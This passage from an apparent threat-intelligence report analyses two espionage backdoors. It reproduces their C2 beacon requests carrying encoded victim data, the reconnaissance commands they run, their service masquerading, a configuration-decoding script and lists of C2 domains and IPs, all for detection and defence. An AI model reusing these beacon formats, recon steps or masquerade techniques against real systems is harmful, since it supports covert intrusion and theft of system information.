RDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXN1-
ciBFcnJvci4gMA0KQ3J1YXR1IERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWd1-
ciBPSy4NCkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlB-
ZGRyZXNzLg==
```

Figure 17: Initial POST Requests Sent by the S-Type Backdoor

```
GET /pic/index.asp?id=E8C465FC&type=ie&stype=info&data=VVNFUi1ENjkyMUY2M-
jE1fFdpbmRvd3MgWFAvQWRtaW5pc3RyYXRvcnwxzOwyM9ChyrE0M7fWfFRaLTEzMTAxM3wNClVTR-
VItRDY5MjFGNjIxNS9BZG1pbmlzdHJhdG9yL0FkbWluaXN0cmF0b3JzDQpDcmVhdGUgVXN-
lciBFcnJvci4gMA0KQ3J1YXR1IERpcmVjdG9yeSBTdWNjZXNzLg0KT3BlblNjTWFuYWdlciBPSy4N-
CkZpbGVTeXN0ZW0gOiBOVEZTDQpObyBBdXRvQ29uZmlnVVJMLg0KTm8gUHJveHlBZGRyZXNzLg==
HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: ssl.projectscorp.net
Connection: Keep-Alive

GET /pic/index.asp?mmid=E8C465FC HTTP/1.1
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0;
.NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR
1.1.4322)
Accept-Encoding: gzip, deflate
Host: ssl.projectscorp.net
Connection: Keep-Alive
```

Figure 18: Sample Get Requests Sent by the S-Type Backdoor


```
{Hostname}|Windows XP/{Username}|1??23Cʰ43??|TZ-131013|
{Hostname}/{Username}/Administrators
Create User Error. 0
Create Directory Success.
OpenScManager OK.
FileSystem : NTFS
No AutoConfigURL.
No ProxyAddress.
```

Figure 19: Decoded Data Parameter from Figure Above

The backdoor attempts to run a number of tests to determine the privilege level of the compromised user, including whether or not a user can be added to the system, whether a directory can be created in the %System% folder, and whether the user can access the service manager. This information is transmitted along with the type of file system and any proxy information necessary to access the Internet. The backdoor may also make network requests with the following variables in the URI "&type=ie&", "stype=info&data=", "stype=srv&data=", "stype=con&data=", "stype=user&data=", "mmid=", "&type=post&stype=", or "&status=".

DETAILS

In a similar way as previous Dust Storm backdoors, this one attempted to detect whether or not the victim was using a Japanese keyboard via the "GetKeyboardType" API. The backdoor itself provided the attacker the ability to execute shell commands, enumerate system and network information, manipulate files, and download and execute an arbitrary file. Initial observations suggest this was largely a reconnaissance platform that would then be upgraded by the attacker to a full-featured backdoor.

The backdoor performed the initial tests described above by first attempting to add the user "Lost_{Unique Identifier}" with the password "pond~!@ {Unique Identifier}" to the system using the NetUserAdd API; if successful, it then removed this user via the NetUserDel API. The backdoor then attempted to create the folder "%System%\{Unique Identifier}" with the CreateDirectoryA API and removed it using the RemoveDirectoryA API. Once these two tests were complete, it attempted to access the Windows Service Control Manager through a call to "OpenSCManagerA". Once it communicated this information along with proxy and file system info via the initial POST requests, the backdoor attempted to execute a sequence of commands to enumerate information about the system and local network.

```
"net start"
"Ipconfig /all"
"net user" or "net user /domain" depending on the value of %USERDNSDOMAIN%
```

Figure 20: Initial Commands Executed on the System by the Backdoor

The results of these commands are transmitted base64 encoded as the data parameter within the URI, "/pic/index.asp?id={Unique_Identifier}&type=ie&stype=info&data=". Once the results of these commands are transmitted back to the C2 server, the backdoor will continue to beacon to the URI "/pic/index.asp?mmid={Unique Identifier}" and wait for either commands to execute or an updated binary to download and execute. Any file downloaded from the C2 is sent base64 encoded and has the name "{Unique Identifier}.txt". If the file is a binary, it is written to disk as "tmp.exe" and executed via WinExec. The backdoor will then communicate back to the C2 with either "&status=run succeed" if successful, or "&status=Error Code" if there was an error.

The "{Unique Identifier}" referenced above is an eight-character hex-string calculated by adding the volume serial number of the C drive (or D drive if there is no C) and a CRC32 hash of the first 0x90 bytes of the encoded configuration for the backdoor. This was quite different from the earlier Misdat variants, as it can be reversed to yield the serial number of the drive. The backdoor decodes its configuration information from offset 0xE9FC. It skips the first 4 bytes, then subtracts 0x2 from each byte and XOR's the resultant values with the first byte of the configuration block, 0x58 in this case.

```
0000E9F0                                                58 2C 74 14           X,t.
0000EA00   73 32 2E 2E 2A 64 79 79  2D 2D 36 78 2A 2C 39 34   s2..*dyy--6x*,94
0000EA10   3F 3D 2E 2D 3D 39 2C 2A  78 38 3F 2E 79 2A 33 3D   ?=.-=9,*x8?.y*3=
0000EA20   79 33 38 3E 3F 22 78 3B  2D 2A 5A 5A 5A 5A 5A 5A   y38>?"x;-*ZZZZZZ
0000EA30   5A 5A 5A 5A 4B 2A 33 3D  78 3F 36 3F 3D 3B 2C 2C   ZZZZK*3=x?6?=;,,
0000EA40   39 31 78 3D 39 37 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   91x=97ZZZZZZZZZZ
0000EA50   5A 5A 5A 5A 0A 5A E5 5B  CA 49 5A 5A 5A 5A 5A 5A   ZZZZ.Zå[ÊIZZZZZZ
0000EA60   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ
0000EA70   5A 5A 5A 5A 5A 5A 5A 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZZZZZZZZZZZZZ
0000EA80   5A 5A 5A 5A 43 4F D3 5A  5A 5A 5A 5A 5A 5A 5A 5A   ZZZZCOÓZZZZZZZZZ
```

Figure 21: Encoded Configuration Block

```
0000EA00   29 68 74 74 70 3A 2F 2F 73 73 6C 2E 70 72 6F 6A   )hxxp://ssl.proj
0000EA10   65 63 74 73 63 6F 72 70 2E 6E 65 74 2F 70 69 63   ectscorp.net/pic
0000EA20   2F 69 6E 64 65 78 2E 61 73 70 00 00 00 00 00 00   /index.asp......
0000EA30   00 00 00 00 11 70 69 63 2E 65 6C 65 63 61 72 72   .....pic.elecarr
0000EA40   6F 77 2E 63 50 00 BB 01  90 1F 00 00 00 00 00 00   ow.com.P.»..□.....
0000EA50   00 00 00 00 50 00 BB 01  90 1F 00 00 00 00 00 00   ....P.».□.....
0000EA60   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0000EA70   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
0000EA80   00 00 00 00 19 15 89 00  00 00 00 00 00 00 00 00   ......‰.........
```

Figure 22: Decoded Configuration Block

Text strings in the decoded block are each prefaced by their length in hex. In addition to the URL "hxxp://ssl.projectscorp.net/pic/index.asp" and the domain "pic.elecarrow.com", the ports that attempt to beacon on 80, 443, and 8080 are highlighted in green, blue, and purple respectively. The following Python function can be used to decode these configuration blocks.

```
def sub_single_byte_xor(buf,subb, key):
    out = ''
    for i in buf:
        out += chr((ord(i)-subb) ^ key)
    return out
sub_single_byte_xor(buf,0x2,0x58)
```

Figure 23: Python Script to Decode w-Type Configuration Data

ZLIB BACKDOOR (2014–2015)

This backdoor was the preferred second-stage implant for the group throughout 2014 and 2015. The malware was a full-featured backdoor with built-in NTLM proxy authentication support which was designed to be run as a ServiceDLL. Each sample SPEAR identified was customized to the specific victim environment and programmed using Microsoft Visual C++ 6. As a result, our team has included hashes of samples that were modified to redact victim information. SPEAR has provided as much information as possible so other victims can identify incidents.

FILE CHARACTERISTICS

Modified SHA256	File Size	Compile Time
73bc9650ab7871340ef1a6f68dfa71a650 2b9d9bee85181666da17a63a74178a	143,872 Bytes	1/23/2015 3:22:25 UTC
8cf3152169f3d7e05734b6b562752a0 0d566c4ea830c455ea094fa19dec4423c	136,702 Bytes	1/05/2015 01:14:50 UTC
bbc6d1b87352c3ae109b2c6c97baaf75 6b66378b6af8dbd7387229d04fc0b14	134,144 Bytes	1/16/2015 3:21:31 UTC
b4405f0caff1b786612aabbaa7431993f 44c83a2c8f8c0946a980da9c0c09156	108,032 Bytes	1/23/2015 3:23:06 UTC
85b80ed2aa871257f293a074d80eb64a 621ec74ec70c0cf1703f5f5adab23a67	113,664 Bytes	1/05/2015 01:18:15 UTC

Figure 24: Shareable File Characteristics

Additional File Details:

- Exports the functions DriverDev, DriverInit, DriverLaunch, DriverProc
- Mimics the resource version information of a legitimate Realtek Semiconductor Module, or Nvidia Module, or Synaptics module
- PE checksum of zero

HOST-BASED INDICATORS

File System Modifications:

- All observed backdoor locations:
  - %WINDIR%\system32\cryptpol.dll
  - All Users %AppData%\cryptpol.dll
  - All Users %AppData%\wdd.ocx
  - All Users %AppData%\athmgmt.dll
  - All Users %AppData%\rasctl.dll
  - All Users %AppData%\rtcomdll.dll
  - All Users %AppData%\msnt.dll
- May create randomly named temporary files in %AppData% ending in .tmp
- May create temporary files in the %temp% directory that begin with the letters "tmp"

Registry Modifications:

- Will create all necessary keys to configure the backdoor to run as a ServiceDLL, including redefining ServiceMain to point to another of the backdoor's exported functions - all observed service names are below:
  - CryptPol – Cryptography Policy Control Service
  - AtherosMgMt – Atheros Communications Management Service
  - WDDSVC – Windows Display Driver
  - RASCtrl – Remote Access Control Center

NETWORK-BASED INDICATORS

The backdoor communicates to the preconfigured C2 servers via HTTP POST and GET requests. The contents of the communications are compressed using the standard Zlib compression library (http://www.zlib.net/). During SPEAR's limited testing, the User-Agent was always static and set to "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)".

```
POST /EKTV/index.php?id=0 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bcsr.wordoscorp.com
Accept: */*
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 498

POST /EKTV/index.php?id=3580792616 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: bcsr.wordoscorp.com
Accept: */*
Cache-Control: no-cache
Connection: Keep-Alive
Content-Length: 490
```

Figure 25: Initial POST Requests Sent by the Zlib Backdoor

```
00000000  1C 12 00 00 1E 12 00 00 FF FF FF FF 40 05 00 00   ........ÿÿÿÿ@...
00000016  FE CD 18 9C 55 00 53 00 45 00 52 00 2D 00 44 00   þÍ.œU.S.E.R.-.D.
00000032  36 00 39 00 32 00 31 00 46 00 36 00 32 00 31 00   6.9.2.1.F.6.2.1.
00000048  35 00 00 00 DA D2 90 7C DC FF B8 00 20 E9 90 7C   5...ÚÒ□|Üÿ¸. é□|

00000064  68 F6 90 7C FF FF FF FF 61 F6 90 7C EE D4 DD 77   hö□|ÿÿÿÿaö□|îÔÝw

00000080  00 00 00 00 E0 CC B8 00 00 00 00 00 F9 D4 DD 77   ....àÌ¸.....ùÔÝw
00000096  00 00 00 00 00 00 00 00 FC 00 00 00 00 00 00 00   ........ü.......
00000112  20 00 00 00 00 00 00 00 9E 7E E5 14 52 55 D1 01    .......ž~å.RUÑ.
00000128  00 00 00 00 10 00 00 00 53 00 2D 00 31 00 2D 00   ........S.-.1.-.

00000144  35 00 2D 00 9C B2 B8 00 6E D9 90 7C DC B1 B8 00   5.-.œ²¸.nÙ□|Ü±¸.

00000160  98 B1 B8 00 5C F6 90 7C 61 F6 90 7C DC B1 B8 00   ˜±¸.\ö□|aö□|Ü±¸.

00000176  6E D9 90 7C 9C B2 B8 00 74 B1 B8 00 7A D9 90 7C   nÙ□|œ²¸.t±¸.zÙ□|

00000192  DC FF B8 00 20 E9 90 7C 68 F6 90 7C FF FF FF FF   Üÿ¸. é□|hö□|ÿÿÿÿ

00000208  61 F6 90 7C EB 6F DD 77 34 00 00 C0 00 00 00 00   aö□|ëoÝw4..À....

00000224  D4 BA B8 00 F6 6F DD 77 C0 B2 B8 00 00 01 00 00   Ô°¸.öoÝwÀ²¸.....
00000240  B8 B2 B8 00 B0 B2 B8 00 00 01 00 00 D4 BA B8 00   ¸²¸.°²¸.....Ô°¸.
00000256  DC B1 B8 00 00 00 00 00  00 00 00 00 00 00 00 00   Ü±¸.............

00000272  34 00 00 C0 0C B2 B8 00  5C F6 90 7C 61 F6 90 7C   4..À.²¸.\ö□|aö□|

00000288  00 00 00 00 8C B2 B8 00  2D F6 90 7C E8 B1 B8 00   ....Œ²¸.-ö□|è±¸.

00000304  EC B1 B8 00 54 B2 B8 00  20 E9 90 7C 68 F6 90 7C   ì±¸.T²¸. é□|hö□|
```

(con't)

```
00000320   FF FF FF FF 61 F6 90 7C  4E 6A DD 77 87 6A DD 77   ÿÿÿÿaö□|NjÝw‡jÝw

00000336   D4 B2 B8 00 03 00 00 80  FC 00 00 00 18 00 00 00   Ô²¸.....€ü.......
00000352   FC 00 00 00 8C B2 B8 00  40 00 00 00 00 00 00 00   ü...Œ²¸.@.......
00000368   00 00 00 00 8A 00 8A 00  D4 B2 B8 00 88 B2 B8 00   ....Š.Š.Ô²¸.ˆ²¸.
00000384   00 00 00 00 18 B2 B8 00  84 B2 B8 00 DC FF B8 00   .....²¸.„²¸.Üÿ¸.

00000400   78 17 DF 77 90 6A DD 77  FF FF FF FF 87 6A DD 77   x.ßw□jÝwÿÿÿÿ‡jÝw

00000416   95 6B DD 77 13 BD 00 00  A8 B2 B8 00 8B 70 DD 77   •kÝw.½..¨²¸.‹pÝw
00000432   00 01 00 00 9C B2 B8 00  C0 B2 B8 00 D4 BA B8 00   ....œ²¸.À²¸.Ô°¸.
00000448   B8 B2 B8 00 B0 B2 B8 00  00 08 00 00 72 00 00 00   ¸²¸.°²¸.....r...

00000464   00 00 00 00 1A 00 1C 00  FA CF 90 7C 03 6C DD 77   ........úÏ□|.lÝw
00000480   00 01 00 00 00 00 00 00  BC B2 B8 00 AB 6C DD 77   ........¼²¸.«lÝw
00000496   C4 B2 B8 00 A8 CD B8 00  7A DD 00 10 00 00 00 00   Ä²¸.¨Í¸.zÝ......
00000512   58 FC B3 00 70 50 02 10  00 00 00 00 53 00 2D 00   Xü³.pP......S.-.
00000528   31 00 2D 00 35 00 2D 00  31 00 38 00 89 5D 95 10   1.-.5.-.1.8.‰]•.
00000544   1C 01 00 00 05 00 00 00  01 00 00 00 28 0A 00 00   ............(...
00000560   02 00 00 00 53 00 65 00  72 00 76 00 69 00 63 00   ....S.e.r.v.i.c.
00000576   65 00 20 00 50 00 61 00  63 00 6B 00 20 00 33 00   e. .P.a.c.k. .3.
00000592   00 00 5C 00 43 00 75 00  72 00 72 00 65 00 6E 00   ..\.C.u.r.r.e.n.

00000608   74 00 56 00 65 00 72 00  73 00 69 00 6F 00 6E 00   t.V.e.r.s.i.o.n.
00000624   5C 00 49 00 6E 00 74 00  65 00 72 00 6E 00 65 00   \.I.n.t.e.r.n.e.
00000640   74 00 20 00 53 00 65 00  74 00 74 00 69 00 6E 00   t. .S.e.t.t.i.n.
00000656   67 00 73 00 00 00 00 00  00 00 00 00 00 00 00 00   g.s.............
---Truncated---
00000816   00 00 00 00 03 00 00 00  00 01 01 00 00 00 00 00   ................
00000832   53 00 59 00 53 00 54 00  45 00 4D 00 00 00 00 00   S.Y.S.T.E.M.....
--Truncated---
00001264   00 00 00 00 00 00 00 00  00 00 00 00 E0 B5 B8 00   ............àµ¸.
00001280   99 51 91 7C 08 B6 B8 00  E4 00 08 00 04 00 00 00   ™Q'|.¶¸.ä.......
00001296   D4 00 08 00 00 00 08 00  20 B6 B8 00 8B 53 91 7C   Ô....... ¶¸.‹S'|
00001312   08 B6 B8 00 D4 00 08 00  00 00 00 00 10 00 00 00   .¶¸.Ô...........

00001328   00 00 00 00 A4 B6 B8 00  7A CF 90 7C 7B 8B 91 7C   ....¤¶¸.zÏ□|{‹'|

00001344   FF FF FF FF 40 B6 B8 00  01 00 00 00 D7 07 00 00   ÿÿÿÿ@¶¸.....×...
```

Figure 26: Decompressed Contents of Initial POST Request

The hostname, context the backdoor was running under, operating system information, and user information were transmitted back to the C2 during a controlled test.

DETAILS

Anecdotal evidence suggests the attackers made few modifications to the backdoors themselves and instead simply updated the configuration information as needed. As a result, most of the backdoors identified had a PE checksum mismatch between the stated value and calculated value. The backdoor provided the attacker with the ability to upload and download files, enumerate files and drives, enumerate system information, enumerate and manipulate Windows services, enumerate and impersonate logon sessions, mimic keystrokes and mouse input, capture screenshots, and execute shell commands.

The backdoor itself contained very few unique plain-text strings or any other type of identifying information outside of the Import Table. The backdoor would initialize strings of interest on the stack by pushing one character at a time; this method has become increasingly common among malware authors to avoid antivirus heuristic methods. The backdoor's configuration information was stored Zlib compressed within the binary with the size of the compressed data saved as a double word right before the start of the header "0x78 0x9C". The decompressed data contained the Windows service name, Windows display

name, and a description for the service. It also contained the filename the backdoor would use, the domain names and ports to beacon on, and the internal corporate proxy to use.

```
00000000   43 00 72 00 79 00 70 00  74 00 50 00 6F 00 6C 00   C.r.y.p.t.P.o.l.
--Truncated---
00000060   00 00 00 00 43 00 72 00  79 00 70 00 74 00 6F 00   ....C.r.y.p.t.o.
00000070   67 00 72 00 61 00 70 00  68 00 79 00 20 00 50 00   g.r.a.p.h.y. .P.
00000080   6F 00 6C 00 69 00 63 00  79 00 20 00 43 00 6F 00   o.l.i.c.y. .C.o.
00000090   6E 00 74 00 72 00 6F 00  6C 00 20 00 53 00 65 00   n.t.r.o.l. .S.e.
000000A0   72 00 76 00 69 00 63 00  65 00 00 00 00 00 00 00   r.v.i.c.e.......
000000B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
--Truncated---
00000120   00 00 00 00 00 00 00 00  00 00 00 00 50 00 72 00   ............P.r.
00000130   6F 00 76 00 69 00 64 00  65 00 20 00 74 00 68 00   o.v.i.d.e. .t.h.
00000140   65 00 20 00 70 00 6F 00  6C 00 69 00 63 00 79 00   e. .p.o.l.i.c.y.
00000150   2D 00 62 00 61 00 73 00  65 00 64 00 20 00 62 00   -.b.a.s.e.d. .b.
00000160   61 00 73 00 69 00 63 00  20 00 63 00 72 00 79 00   a.s.i.c. .c.r.y.
00000170   70 00 74 00 6F 00 67 00  72 00 61 00 70 00 68 00   p.t.o.g.r.a.p.h.
00000180   79 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   y. .s.e.r.v.i.c.
00000190   65 00 2E 00 49 00 66 00  20 00 74 00 68 00 69 00   e...I.f. .t.h.i.
000001A0   73 00 20 00 73 00 65 00  72 00 76 00 69 00 63 00   s. .s.e.r.v.i.c.
000001B0   65 00 20 00 69 00 73 00  20 00 73 00 74 00 6F 00   e. .i.s. .s.t.o.
000001C0   70 00 70 00 65 00 64 00  2C 00 20 00 74 00 68 00   p.p.e.d.,. .t.h.
000001D0   65 00 20 00 63 00 72 00  79 00 70 00 74 00 6F 00   e. .c.r.y.p.t.o.
000001E0   67 00 72 00 61 00 70 00  68 00 79 00 20 00 70 00   g.r.a.p.h.y. .p.
000001F0   6F 00 6C 00 69 00 63 00  79 00 20 00 63 00 6F 00   o.l.i.c.y. .c.o.
00000200   6E 00 74 00 72 00 6F 00  6C 00 20 00 73 00 65 00   n.t.r.o.l. .s.e.
00000210   72 00 76 00 69 00 63 00  65 00 20 00 77 00 69 00   r.v.i.c.e. .w.i.
00000220   6C 00 6C 00 20 00 6E 00  6F 00 74 00 20 00 66 00   l.l. .n.o.t. .f.
00000230   75 00 6E 00 63 00 74 00  69 00 6F 00 6E 00 20 00   u.n.c.t.i.o.n. .
00000240   70 00 72 00 6F 00 70 00  65 00 72 00 6C 00 79 00   p.r.o.p.e.r.l.y.
00000250   2E 00 20 00 00 00 00 00  00 00 00 00 00 00 00 00   .. ............
---Truncated---
00000380   00 00 00 00 43 00 72 00  79 00 70 00 74 00 50 00   ....C.r.y.p.t.P.
00000390   6F 00 6C 00 2E 00 64 00  6C 00 6C 00 00 00 00 00   o.l...d.l.l.....
---Truncated---
00000580   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000590   62 63 73 72 2E 77 6F 72  64 6F 73 63 6F 72 70 2E   bcsr.wordoscorp.
000005A0   63 6F 6D 00 00 00 00 00  00 00 00 00 00 00 00 00   com.............
---Truncated---
00000680   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 73   ...............s
00000690   50 00 00 00 6A 6E 68 73  2E 74 6F 6D 73 68 61 72   P...jnhs.tomshar
000006A0   64 70 63 2E 63 6F 6D 00  00 00 00 00 00 00 00 00   dpc.com.........
---Truncated---
00000780   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ................
00000790   00 00 00 FF BB 01 00 00  4B 54 56 59 00 EE 12 00   ...ÿ»...KTVY.î..
000007A0   5F F1 C1 54 C8 AF 00 00  D7 07 00 00 01 00 00 00   _ñÁTÈ¯..×.......
000007B0   00 00 00 00 20 8E 01 00  5B 00 52 00 45 00 44 00   .... Ž..[.R.E.D.
000007C0   41 00 43 00 54 00 45 00  44 00 5D 00 00 00 00 00   A.C.T.E.D.].....
---Truncated
```

Figure 27: Example Decoded Configuration Data

APPENDIX

COMPLETE INFRASTRUCTURE – ALL CURRENTLY KNOWN DOMAINS AND SUBDOMAINS:

10bfym.8800.org
10kjd.amazonwikis.com
1stone.zapto.org
323332.3322.org
adobekr.com
adobeus.com
amazonwikis.com
aqyj.tomshardpc.com
auto.glkjcorp.com
b3fk.sfcorporation.com
bdgs.amazonwikis.com
bdt.wordoscorp.com
bfym2.amazonwikis.com
blog.adobeus.com
blog.amazonwikis.com
blog.sfcorporation.com
blog.wih365.com
books.sfcorporation.com
bybf.amazonwikis.com
bygs.sfcorporation.com
cbgs.sfcorporation.com
cdic.sfcorporation.com
cxks.amazonwikis.com
d2ch.sfcorporation.com
dgfk.sfcorporation.com
dghk.sfcorporation.com
down.adobeus.com
ekzy.gmnspace.com
elecarrow.com
en.amazonwikis.com
exemail.net
flash.adobeus.com
fngs.adobeus.com
fsw.adobeus.com
gde.moviestops.com
ghlc.adobeus.com
glkjcorp.com
gmnspace.com
guhk.moviestops.com
health.dns1.us
hglg.wordoscorp.com
hjxt.sfcorporation.com
hkabinc.com
hkmj.amazonwikis.com
home.sfcorporation.com
hsjs.wordoscorp.com
hsy.moviestops.com
iccbhhjdgb.adobeus.com
image.amazonwikis.com
image.hkabinc.com
imnothk.8800.org
jggs.sfcorporation.com
jiaoshow.9966.org
jnhs.tomshardpc.com
jrfw.amazonwikis.com
jrgs.sfcorporation.com
js.95nb.co.cc
js.adobekr.com
js.amazonwikis.com
js.exemail.net
kb1gs.sfcorporation.com
kersperskey.8800.org
kj.uuvod.net
krgt.tomshardpc.com
lhbf.adobeus.com
login.adobekr.com
login.live.adobekr.com
login.live.wih365.com
login.wih365.com
mail.adobekr.com
mail.glkjcorp.com
mail.projectscorp.net
mailxss.9966.org
mesdata.8866.org
microbing.oicp.net
microses.9966.org
microupdate.8800.org
microwmies.oicp.net
mobile.yqby.wordoscorp.com
mocrosoftds.xicp.net
modeless.3322.org
movie.sfcorporation.com
moviestops.com
msejake.7766.org
msevpn.3322.org
music.sfcorporation.com
net.amazonwikis.com
news.amazonwikis.com
news.elecarrow.com
news.sfcorporation.com
nttvps.gnway.net
pic.elecarrow.com
pic.glkjcorp.com
pic.hkabinc.com
pics.adobeus.com
pics.amazonwikis.com
projectscorp.net
qsgs.sfcorporation.com
rbjg.moviestops.com
rbjg.moviestops.com
rbny.sfcorporation.com
rbxr.tomshardpc.com
rjby.tomshardpc.com
rjjh.wordoscorp.com
rmax.amazonwikis.com
ruag.amazonwikis.com
sane.adobeus.com
sdj2b.3322.org
sfcorporation.com
sgad.sfcorporation.com
showjiao.imzone.in
showshow.7766.org
smgs.amazonwikis.com
smtp.adobekr.com
sport.sfcorporation.com
ssl.elecarrow.com
ssl.exemail.net
ssl.gmnspace.com
ssl.projectscorp.net
ssl.sfcorporation.com
sslmails.com
sybf.adobeus.com
tcgs.adobeus.com
tdfg.moviestops.com
tech.amazonwikis.com
test.uuvod.net
tomshardpc.com
tqsj.sfcorporation.com
tzcl.sfcorporation.com
tzz.exemail.net
up.adobekr.com
update.adobekr.com
update.adobeus.com
uworks.sfcorporation.com
v.exemail.net
video.sfcorporation.com
vod.amazonwikis.com
vod.sfcorporation.com
vpntemp.3322.org
wbjs.sfcorporation.com
web.sfcorporation.com
wed.amazonwikis.com
wih365.com
wordoscorp.com
wsxg.moviestops.com
www.adobeus.com
www.projectscorp.net
www.wih365.com
wxpb.sfcorporation.com
xjgs.sfcorporation.com
xkgs.sfcorporation.com
xrgt.tomshardpc.com
xrgt.wordoscorp.com
yahoo.gmnspace.com
yahoomail.adobeus.com
ygfk.sfcorporation.com
yhkj.sfcorporation.com
yjbf.amazonwikis.com
yjxy.sfcorporation.com
yqby.wordoscorp.com
zdzl.sfcorporation.com
ziper.imbbs.in
zpgx.tomshardpc.com

ALL KNOWN IP ADDRESSES:

108.171.240.154
111.67.199.213
111.67.199.222
112.175.69.60
112.175.69.89
112.218.71.202
113.10.139.218
113.10.168.22
113.11.202.233
114.108.150.38
116.255.131.152
118.99.37.87
118.193.163.143
120.126.134.196
120.31.68.42
123.254.111.169
124.162.53.203
124.162.53.224
125.46.42.221
126.125.35.247
126.25.172.171
126.25.201.73
173.252.201.210
175.41.23.181
203.124.12.24
203.124.12.59
210.105.192.3
210.209.116.105
210.209.117.148
210.209.117.235
210.51.13.167
211.22.125.58
211.42.249.37
218.106.246.177
218.106.246.189
218.106.246.195
218.106.246.220
218.106.246.222
218.106.246.254
218.106.247.81
23.238.229.128
27.255.72.68
27.255.72.69
27.255.72.78
59.188.13.133
59.188.13.137

INFRASTRUCTURE BY YEAR (FIRST DEFINITIVE RESOLUTION TIME)

2010 C2 INFRASTRUCTURE:

IP ADDRESSES:

218.106.246.195
218.106.246.220
218.106.246.254
111.67.199.213
125.46.42.221
124.162.53.224
124.162.53.203
113.11.202.233

DOMAINS:

bfym2.amazonwikis.com
books.sfcorporation.com
imnothk.8800.org
jiaoshow.9966.org
kb1gs.sfcorporation.com
kersperskey.8800.org
mailxss.9966.org
microses.9966.org
microupdate.8800.org
microwmies.oicp.net
mocrosoftds.xicp.net
modeless.3322.org
yhkj.sfcorporation.com

2011 C2 INFRASTRUCTURE:

IP ADDRESSES:

218.106.247.81
218.106.246.195
218.106.246.177
218.106.246.220
125.46.42.221
173.252.201.210
120.126.134.196
120.31.68.42

DOMAINS:

*.moviestops.com
323332.3322.org
adobekr.com
js.95nb.co.cc
js.adobekr.com
login.live.adobekr.com
login.live.wih365.com
mesdata.8866.org
mocrosoftds.xicp.net
msejake.7766.org
msevpn.3322.org
sdj2b.3322.org

2012 C2 INFRASTRUCTURE:

IP ADDRESSES:

210.51.13.167
126.25.172.171
218.106.246.195
123.254.111.169
114.108.150.38
175.41.23.181
126.25.201.73
126.5.125.197
203.124.12.24
218.106.246.222
203.124.12.59

DOMAINS:

auto.glkjcorp.com
gde.moviestops.com
health.dns1.us
mail.adobekr.com
mail.glkjcorp.com
nttvps.gnway.net
qsgs.sfcorporation.com
smtp.adobekr.com
update.adobekr.com
wsxg.moviestops.com
wxpb.sfcorporation.com

2013 C2 INFRASTRUCTURE:

IP ADDRESSES:

218.106.246.189
210.209.116.105
210.209.117.235
123.254.111.169
113.10.168.22
126.25.201.73
126.125.35.247
218.106.246.222
112.218.71.202

DOMAINS:

en.amazonwikis.com
mail.projectscorp.net
news.sfcorporation.com
pic.elecarrow.com
qsgs.sfcorporation.com
rbjg.moviestops.com
rbny.sfcorporation.com
smtp.adobekr.com
ssl.gmnspace.com
ssl.projectscorp.net
update.adobekr.com
yahoo.gmnspace.com
yahoomail.adobeus.com

2014 C2 INFRASTRUCTURE:

IP ADDRESSES:

23.238.229.128
27.255.72.68
27.255.72.69
27.255.72.78
211.42.249.37
210.209.116.105
210.209.117.235
218.106.246.222
108.171.240.154
112.218.71.202
112.175.69.60
112.175.69.89
114.108.150.38

DOMAINS:

b3fk.sfcorporation.com
bdt.wordoscorp.com
bfym2.amazonwikis.com
blog.sfcorporation.com
books.sfcorporation.com
bygs.sfcorporation.com
cbgs.sfcorporation.com
cdic.sfcorporation.com
d2ch.sfcorporation.com
dgfk.sfcorporation.com
gde.moviestops.com
guhk.moviestops.com
hglg.wordoscorp.com
hjxt.sfcorporation.com
home.sfcorporation.com
hsy.moviestops.com
image.amazonwikis.com
jggs.sfcorporation.com
jrfw.amazonwikis.com
jrgs.sfcorporation.com
kb1gs.sfcorporation.com
mail.projectscorp.net
movie.sfcorporation.com
music.sfcorporation.com
news.elecarrow.com
news.sfcorporation.com
pic.elecarrow.com
pic.glkjcorp.com
pics.adobeus.com
pics.amazonwikis.com
qsgs.sfcorporation.com
rbjg.moviestops.com
rbny.sfcorporation.com
ruag.amazonwikis.com
sgad.sfcorporation.com
smgs.amazonwikis.com
sport.sfcorporation.com
ssl.projectscorp.net
ssl.sfcorporation.com
tdfg.moviestops.com
tqsj.sfcorporation.com
tzcl.sfcorporation.com
uworks.sfcorporation.com
video.sfcorporation.com
vod.sfcorporation.com
wbjs.sfcorporation.com
web.sfcorporation.com
wed.amazonwikis.com
wsxg.moviestops.com
wxpb.sfcorporation.com
xjgs.sfcorporation.com
xkgs.sfcorporation.com
yahoo.gmnspace.com
ygfk.sfcorporation.com
yhkj.sfcorporation.com

2015 C2 INFRASTRUCTURE:

IP ADDRESSES:

113.10.139.218
126.125.35.247
27.255.72.68
218.106.246.222
210.209.116.105
210.209.117.235
118.193.163.143
114.108.150.38
210.209.117.148
118.99.37.87

DOMAINS:

ekzy.gmnspace.com
hsjs.wordoscorp.com
jnhs.tomshardpc.com
mail.projectscorp.net
news.elecarrow.com
